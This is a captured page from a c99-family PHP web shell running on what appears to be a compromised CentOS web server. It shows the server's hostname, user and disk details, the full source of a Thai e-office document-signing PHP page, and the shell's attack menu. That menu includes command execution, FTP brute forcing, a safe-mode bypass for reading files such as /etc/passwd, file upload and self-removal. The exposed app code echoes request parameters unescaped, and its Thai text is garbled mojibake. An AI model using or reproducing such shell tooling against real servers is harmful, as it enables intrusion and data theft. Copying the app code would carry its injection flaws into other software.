!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     statusDocforSign.php (21.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocForSign.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$time_startpage microtime_float();
$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc5 = new DocLineConfig($oC);
$oDlc9 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDoc6 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oRs8 = new DocReceiveSend($oC);
$oStmp=new DocSendToPsTmp($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$oDfs = new DocForSign($oC);

if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";

$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord();
$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();

if(
$_SESSION['DLCIDSECOND']=="Y"){
    
$oDlc9->SearchByKey($_SESSION['DLCIDSECONDID']); $oDlc9->GetRecord(); 
    
$mypersonId=$oDlc9->personId;
}else{
    
$mypersonId=$oDlc->personId;
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script src="getinfo.js"></script>
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendDoc.php">ʶҹÐ˹ѧÊ×ÍàʹÍà¾×èÍŧ¹ÒÁ</a>
    </font></legend>

      <table align="center" width="98%" >
        <tr>
            <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
              <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              Ê¶Ò¹Ð˹ѧÊ×ÍàʹÍà¾×èÍŧ¹ÒÁ</strong></font> </td>
          <td width="23%" align="right">&nbsp;</td>
          <td width="9%" align="right" >&nbsp;</td>
        </tr>
        <tr>
          <td colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
      <? if($monthe==""){  $monthe=Date('m'); } if($searchYear==""){  $searchYear=Date('Y')+543; }  //echo "month=".$monthe."&nbsp;"."Year=".$searchYear;?>
       <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"> 
          <tr height=27 bgcolor="#FFFFFF" ><td align="left" >&nbsp;
        <form name="gg"  METHOD="POST">
        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" >
          <tr><td>
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"  style="border-collapse:collapse">
                    <tr><td colspan="3" align="right">
        <strong>¤é¹ËÒ˹ѧÊ×Í</strong> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(àÃ×èͧ/ÇèÒ´éÇÂ)&nbsp;<input name="searchNamePre"  id="searchNamePre" type="text" size="25" value="<? echo a2th($searchNamePre); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchNamePre')">&nbsp;(·Õè)</font>&nbsp;<input name="searchpreNo" id="searchpreNo" type="text" size="20" value="<? echo a2th($searchpreNo); ?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','searchpreNo')"><input name="searchNamesub" type="submit" value="¤é¹ËÒ">
             </td>
          </tr>
          <tr><td>&nbsp;</td></tr>
            <tr><td align="right">
            <div align="left">&nbsp;<strong><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">ÃÒ¡ÒÃ˹ѧÊ×Í·Õèŧ¹ÒÁáÅéÇ áÅÐÃÍä»ÃѺ˹ѧÊ×Í , Ë¹Ñ§Ê×ÍÂѧäÁèŧ¹ÒÁ ÁÕ¡ÒÃá¨é§á¡éä¢</font></strong></div></td>
                      </tr>
            </table>
          <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse" >
             <?  $flagshow=1;?>
              <tr height=22>
      <td width="5%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>àÅ¢Êè§</strong></font></td>
                        <td width="51%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>àÃ×èͧ 
                          (ʶҹÐ)</strong></font></td>
          <td width="2%" align="center" background="../picture/table_header_bg.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>á¡éä¢</strong></font></td>
      <td width="2%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="2%" align="center" background="../picture/table_header_bg.gif"><img src="../picture/secret0.jpg"   border="0" ></td>
        </tr>
          
          <?
                  
//--------------------------------find count
                   
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }

                if(
$oDlp->GsarabunHead=="Y" || $oDlp->GheadDept=="Y" || $oDlp->Gboss=="Y" || $oDlp->Gboss2=="Y"){ 
                        if(
$oDlp->DlpPID=="0"){  $a=2$b=1;   }else{  $a=3$b=2;  }
                                
$DlcSeq=$oDlc->DlcSeq-$a;   
                                
$DlcSeq2=$oDlc->DlcSeq-$b
                                
$oDlc3->SearchByNextDlcID($DlcSeq,$oDlc->docGroup,$oDlc->deptId); $oDlc3->GetRecord();   $DLCID2=$oDlc3->DlcID;
                            
                                if(
$oDlp->DlpPID=="0"){  
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }else{ 
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }
                                
$oDoc3->SearchGetDocForSignDlcID2($MaxDocGroup,$DLCID2,$DlcPS22,th2a($searchNamePre),th2a($searchpreNo));
                }else{
                    
$oDoc3->SearchGetDocForSignDlcID2($MaxDocGroup,$DLCID,$DlcPS2,th2a($searchNamePre),th2a($searchpreNo));
                    
                }                        
                        
            
$z=0;                
            while(
$oDoc3->GetRecord()){ 
                            if((
$z%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
      <td align="center">
      <?      
                $oDoc4
->SearchByKey($oDoc3->DocID);
                
$oDoc4->GetRecord();
            
                echo 
$oDoc4->DocTypeNo;
        
?>
      </td>
      <td align="left">&nbsp;<?  echo $oDoc3->DocSubject;  ?>
      <?
       
if($oDoc3->DocforsignEdit=="Y"){  
                      echo 
"&nbsp;<font color=#990099>(á¨é§á¡é䢢éÍÁÙÅ˹ѧÊ×Í)</font>"
                    echo 
"<br>&nbsp;¼Ùéá¨é§ :: ";
                    
$oPS->SearchByKey($oDoc3->psComment); $oPS->GetRecord();  
                    echo 
"&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;";
                    
$oDlc5->SearchByKey($oDoc3->DlcIDsign);  $oDlc5->GetRecord();    
                    
$oDlp1->SearchByKey($oDlc5->DlpID);  $oDlp1->GetRecord();   echo $oDlp1->DlpName;
                    
$oDP4->SearchByKey($oDoc3->DeptSign);  $oDP4->GetRecord();
                    echo 
"&nbsp;(".$oDP4->deptName.")";
                    echo 
"<br>&nbsp;á¨é§á¡é䢠:: ".a2th($oDoc3->DocEditComment);
                    echo 
"<br>&nbsp;ÇѹàÇÅÒ·Õèá¨é§ :: ";
                     list(
$DocD,$DocT) = preg_split('[ ]',$oDoc3->DocNoticeDate); 
                     echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT);
                    
$oRs8->SearchByDocIDStatus1($oDoc3->DocID);
                    
$oRs8->GetRecord();                    
        }else if(
$oDoc3->DocforsignEdit==""){  
                     echo 
"(ŧ¹ÒÁáÅéÇ ÃÍÃѺ˹ѧÊ×Í)";  
        }
?>&nbsp; 
      <font color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>" size="2"><? $oDt->SearchByKey($oDoc3->DtID); $oDt->GetRecord(); ?></font>
      <?  if($oDlp->DlpPID!="0"){   if($DLCID==$oDoc3->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[ÃÑ¡ÉÒ¡ÒÃ]</strong></font>"; }} ?>
     <?  if($oDlp->DlpPID=="0"){   if($DlcPS2==$oDoc3->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[ÃÑ¡ÉÒ¡ÒÃ]</strong></font>"; }} ?>
      </td>
      <td align="center"><? if($oDoc3->DocforsignEdit=="Y"){  ?><a href="editRegisDoc.php?DocID=<?php echo $oDoc3->DocID;?>&RsID=<? echo $oDoc3->RsID?>&DtID=<? echo $oDoc3->DtID?>&DrsID=<? echo $oRs8->DrsID?>&caseeditdocforsign=1&dfID=<? echo $oDoc3->dfID;?>"><img src="../picture/incomplete_ico.gif"  border="0"  title="á¡é䢢éÍÁÙÅŧ·ÐàºÕ¹" style="cursor:pointer;"></a><? }else{  echo "&nbsp;"; }?></td>
          <td align="center"><? echo searchPicDocSpeedLevel($oDoc3->DslID); ?></td>
            <td align="center"><? echo searchPicDocSecretLevel($oDoc3->DclID); ?></td>
      </tr>
           <? $z++; }  if($z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="7"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** äÁèÁÕÃÒ¡Òà**</font></td></tr>
          <? }  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7"><strong>˹éÒ-&gt;</strong>
<?php 
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                            <a href="statusDocforSign.php?page_id2=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
          
          </table><br>
          </td></tr>
       <tr height=22 bgcolor="#FFFFFF">
          <td colspan="3" valign="bottom">
          <hr color="#000099"></hr></td>
        </tr>    </table>
        </form>
<form name="ff"  METHOD="POST" action="showDocforSign.php">
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" >
          <tr><td><br><div align="left">&nbsp;<strong><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">ÃÒ¡ÒÃ˹ѧÊ×Í·Õèŧ¹ÒÁáÅéÇ áÅÐä»ÃѺ˹ѧÊ×ÍáÅéÇ</font></strong></div><br>
          <div id="showselect">
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"  style="border-collapse:collapse">
            <tr><td align="right">
            <b>¤é¹ËÒ˹ѧÊ×Í</b> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(àÃ×èͧ/ÇèÒ´éÇÂ)</font>&nbsp;<input name="searchName"  id="searchName"  type="text" size="25" value="<? echo a2th($searchName); ?>"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">&nbsp;(·Õè)</font>&nbsp;<input name="searchNo" id="searchNo"  type="text" size="20" value="<? echo a2th($searchNo); ?>">&nbsp;&nbsp;
            <br><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(»ÃШÓà´×͹)</font>&nbsp;
            <select name="monthe"  id="monthe" onChange="ShowInfostatusSendDocforSign('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')">
                <option value="01" <? if($monthe=="01"){ echo "selected";   }?>>Á.¤.</option>
                <option value="02" <? if($monthe=="02"){ echo "selected";   }?>>¡.¾.</option>
                <option value="03" <? if($monthe=="03"){ echo "selected";   }?>>ÁÕ.¤.</option>
                <option value="04" <? if($monthe=="04"){ echo "selected";   }?>>àÁ.Â.</option>
                <option value="05" <? if($monthe=="05"){ echo "selected";   }?>>¾.¤.</option>
                <option value="06" <? if($monthe=="06"){ echo "selected";   }?>>ÁÔ.Â.</option>
                <option value="07" <? if($monthe=="07"){ echo "selected";   }?>>¡.¤.</option>
                <option value="08" <? if($monthe=="08"){ echo "selected";   }?>>Ê.¤.</option>
                <option value="09" <? if($monthe=="09"){ echo "selected";   }?>>¡.Â.</option>
                <option value="10" <? if($monthe=="10"){ echo "selected";   }?>>µ.¤.</option>
                <option value="11" <? if($monthe=="11"){ echo "selected";   }?>>¾.Â.</option>
                <option value="12" <? if($monthe=="12"){ echo "selected";   }?>>¸.¤.</option>
              </select>
                    &nbsp;<input name="searchYear"   id="searchYear" type="text" size="5" maxlength="5" value=<? if($searchYear!=""){  echo a2th($searchYear);  }else{  echo a2th(Date('Y')+543); } ?> onKeyUp="On_Year('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')" onkeypress="return isNumberKey('<? echo $InputThai?>',event)">
                    <input name="searchNamesub" type="button" value="¤é¹ËÒ" onClick="ShowInfostatusSendDocforSign('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>','<? echo $InputThai?>')">&nbsp;&nbsp;</td></tr>
            </table>
          <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse" >
             <?  $flagshow=1;?>
              <tr height=22>
      <td width="5%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>àÅ¢Êè§</strong></font></td>
      <td width="43%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>àÃ×èͧ/ÇèÒ´éÇ (ª¹Ô´Ë¹Ñ§Ê×Í)</strong></font></td>
       <td width="10%" align="center" background="../picture/table_header_bg5.gif"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>Çѹ·ÕèÃѺ˹ѧÊ×Í</strong></font></td>
      <td width="2%" align="center" background="../picture/table_header_bg5.gif"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="2%" align="center" background="../picture/table_header_bg5.gif"><img src="../picture/secret0.jpg"   border="0" ></td>
        </tr>
          
          <?
                  
//--------------------------------find count
                   
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
//$DlcPS2=$DLCID;
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }

                if(
$oDlp->GsarabunHead=="Y" || $oDlp->GheadDept=="Y" || $oDlp->Gboss=="Y" || $oDlp->Gboss2=="Y"){ 
                        if(
$oDlp->DlpPID=="0"){  $a=2$b=1;   }else{  $a=3$b=2;  }
                                
$DlcSeq=$oDlc->DlcSeq-$a;   
                                
$DlcSeq2=$oDlc->DlcSeq-$b
                                
$oDlc3->SearchByNextDlcID($DlcSeq,$oDlc->docGroup,$oDlc->deptId); $oDlc3->GetRecord();   $DLCID2=$oDlc3->DlcID;
                            
                                if(
$oDlp->DlpPID=="0"){  
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }else{ 
                                    
$oDlc4->SearchByNextDlcID($DlcSeq2,$oDlc->docGroup,$oDlc->deptId); $oDlc4->GetRecord();  $DlcPS22=$oDlc4->DlcID;
                                }


                                
$numRow $oDoc4->SearchGetDocForSignDlcID($MaxDocGroup,$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo),$DLCID2,$DlcPS22);        

                                
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                                if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                                    
$total_page++;
        
                                if(
$page_id!=""){   if($page_id>$total_page){  $page_id 1$start 0; }}else{   $page_id 1$start 0;}
                                if(isset(
$page_id))
                                    
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                                else {
                                    
$page_id 1;
                                    
$start 0;
                                }                                
                                
$oDoc3->SearchGetDocForSignDlcIDLimit($MaxDocGroup,$start$GLOBALS['PAGE_SIZE'],$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo),$DLCID2,$DlcPS22);
                }else{
                                
$numRow $oDoc4->SearchGetDocForSignDlcID($MaxDocGroup,$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo),$DLCID,$DlcPS2);        

                                
$total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']);
                                if((
$numRow%$GLOBALS['PAGE_SIZE']) != 0)
                                    
$total_page++;
        
                                if(
$page_id!=""){   if($page_id>$total_page){  $page_id 1$start 0; }}else{   $page_id 1$start 0;}
                                if(isset(
$page_id))
                                    
$start $GLOBALS['PAGE_SIZE']*($page_id-1);
                                else {
                                    
$page_id 1;
                                    
$start 0;
                                }

                    
$oDoc3->SearchGetDocForSignDlcIDLimit($MaxDocGroup$start$GLOBALS['PAGE_SIZE'],$monthe,th2a($searchYear),th2a($searchName),th2a($searchNo),$DLCID,$DlcPS2);
                    
                }                        
                        
            
$z=0;                
            while(
$oDoc3->GetRecord()){ 
                            if((
$z%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
      <td align="center">
      <?      
                $oDoc4
->SearchByKey($oDoc3->DocID);
                
$oDoc4->GetRecord();
                echo 
$oDoc4->DocTypeNo;
        
?>
      </td>
      <td align="left">&nbsp;<?  echo $oDoc3->DocSubject;  ?>
      &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>" size="2"><? $oDt->SearchByKey($oDoc3->DtID); $oDt->GetRecord(); echo "(".$oDt->DtName.")";?></font>
      </td>
      <td align="center">            
      <?    if($oDoc3->getDate!="0000-00-00 00:00:00"){    
                                  list(
$DocD,$DocT) = preg_split('[ ]',$oDoc3->getDate);
                                echo 
"ÃѺ˹ѧÊ×ÍáÅéÇ<br>".abbreDate2($DocD,'/')."<br>".a2th($DocT);
                }else{
                                echo 
"ÂѧäÁèä´éÃѺ˹ѧÊ×Í";
                }
        
?></td>
             <td align="center"><? echo searchPicDocSpeedLevel($oDoc3->DslID); ?></td>
            <td align="center"><? echo searchPicDocSecretLevel($oDoc3->DclID); ?></td>
      </tr>
           <? $z++; }  if($z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="7"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** äÁèÁÕÃÒ¡Òà**</font></td></tr>
          <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7">&nbsp;</td></tr>
          <? }else{  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="7"><strong>˹éÒ-&gt;</strong>
<?php 
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                            <a href="statusDocforSign.php?page_id=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
          <? ?>
          </table></div><br>
          </td></tr>
    </table><input type="hidden" name="flagshow" id="flagshow"   value="<? echo $flagshow?>">
    <input type="hidden" name="pgajax"   id="pgajax"   value="<? echo $GLOBALS['PAGE_SIZE']; ?>">
       </form></td></tr></table>
</fieldset> 
      <table width="99%" border="0" align="center">
        
         <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>ËÁÒÂà˵ؠ
            : </strong>&nbsp;</font></td>
          <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ªÑ鹤ÇÒÁàÃçÇ&nbsp;
            <? $oDsl->RSDocSpeedLevel();  while($oDsl->GetRecord()){  echo searchPicDocSpeedLevel($oDsl->DslID);  echo "&nbsp;".$oDsl->DslName."&nbsp;&nbsp;"; }?></font></td>
        </tr>
        <tr> 
          <td width="134">&nbsp;</td>
          <td colspan="2" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ªÑ鹤ÇÒÁÅѺ&nbsp;
            <? $oDcl->RSDocSecretLevel(); $r=0; while($oDcl->GetRecord()){  echo searchPicDocSecretLevel($oDcl->DclID);  echo "&nbsp;".$oDcl->DclName."&nbsp;&nbsp;"; }?></font></td>
        </tr>
                <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/incomplete_ico.gif"  border="0">&nbsp;¤ÅÔ¡à¾×èÍá¡é䢢éÍÁÙÅŧ·ÐàºÕ¹</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<?
$time_endpage 
microtime_float();
echo 
'<div align=right><font color=#AAAAAA>'.$time $time_endpage $time_startpage;
echo 
' s</font></div>';
?>
<script language="javascript">
function showDoc(){
    document.ff.submit();
}
function up_downList(status){    
    if(status=='up'){
        closeshow.style.display='';
        openshow.style.display='none';
        showtable.style.display='';
    }else{
        openshow.style.display='';
        closeshow.style.display='none';
        showtable.style.display='none';
    }
}
function On_Month(){
      searchYear=document.ff.searchYear.value;
      if (searchYear=="") {
      alert('¡ÃسҡÃÍ¡»Õ');
      document.ff.searchYear.focus();
      return false ;
   }
    document.ff.flagshow.value=1;
    document.ff.submit();
}
function On_Year(DLCID,MaxDocGroup,DlcPS2,InputThai){
    searchYear=document.ff.searchYear.value;
    if (searchYear.length == 4) {
        ShowInfostatusSendDocforSign(DLCID,MaxDocGroup,DlcPS2,InputThai)
    }
}
function changeS2(){
        if(document.ff.searchName.value==""){
            document.ff.searchName.value="";
        }
        if(document.ff.searchNo.value==""){
            document.ff.searchNo.value="";
        }        
        document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0199 ]--